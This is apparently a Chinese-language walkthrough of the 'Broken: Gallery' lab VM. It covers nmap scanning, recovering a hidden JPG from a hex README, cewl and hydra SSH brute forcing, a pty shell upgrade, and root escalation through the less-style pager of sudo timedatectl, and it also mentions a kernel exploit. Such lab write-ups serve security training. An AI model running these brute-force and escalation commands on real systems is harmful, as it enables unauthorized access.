Broken: Gallery
easyNo.2
提示: Privilege escalation is another method of security through obscurity.
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
环境配置
- kali: 192.168.110.130
- target: 192.168.110.133
信息收集
nmap:
text
nmap -A 192.168.110.133
22/tcp ssh
80/tcp http从http中找到一个README.md文件, 看着似乎是JPG头(JFIF), 于是我们写个py脚本将这个文件恢复回JPG:
python
import re
def hex_to_bytes(hex_string):
"""
将十六进制字符串转换为字节数据
"""
return bytes.fromhex(hex_string)
def read_hex_data_from_file(file_path):
"""
从文件中读取十六进制字节数据
"""
with open(file_path, 'r') as file:
data = file.read()
# 提取所有的十六进制数值:例如 "0xFF, 0xD8" 提取为 "FF D8"
hex_values = re.findall(r'0x([0-9A-Fa-f]{2})', data)
hex_string = ' '.join(hex_values)
return hex_to_bytes(hex_string)
def save_image_from_bytes(byte_data, output_file):
"""
将字节数据保存为图片文件
"""
with open(output_file, 'wb') as img_file:
img_file.write(byte_data)
print(f"图片已保存为 '{output_file}'")
hex_data = read_hex_data_from_file('readme.txt')
save_image_from_bytes(hex_data, 'output_image.jpg')得到的图片内容如下:
text
Hello Bob,
The application is BROKEN ! the whole infrastructure is BROKEN !!!!
I am leaving for my summer vacation,I hope you get it fix soon...
Cheers.
avrahamcohen.ac@gmail.com然后就没有内容了, 那就只能对22端口进行爆破了
先尝试将所有可能的内容都塞进用户名, 然后跑密码字典
bash
cewl 192.168.110.133 -w user.txt
# 手动将图片内容的单词添加上去
hydra -L user.txt -P pass.txt ssh://192.168.110.133
# 或者你直接跑/usr/share/wordlists/rockyou.txt.gz(没试过)
getshell
正常利用broken : broken登录
信息收集
bash
# 系统信息 Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
uname -a
# 内核版本 4.4.0-21-generic
uname -r
# 查看环境
gcc -v
python -h
# 查看特权文件, 没啥东西
find / -perm -4000 2>/dev/null
# 自启动看看, 没东西
cat /etc/crontab
# 看看权限, 发现有sudo权限
sudo -l
提权
文件/usr/bin/timedatectl在拥有sudo权限可以用于提权(直接复制粘贴即可):
bash
# 在/usr/bin文件夹下
sudo timedatectl list-timezones
!/bin/sh
list-timezones是列出时区的子命令, 运行sudo timedatectl list-timezones会显示类似less/more查看的方式; 而键入感叹号!表示执行系统命令, 此时是root权限, 所以会返回一个root权限的shell
再来试试脚本: ubuntu 4.4.0-21-generic可以用45010.c
bash
locate linux/local/45010.c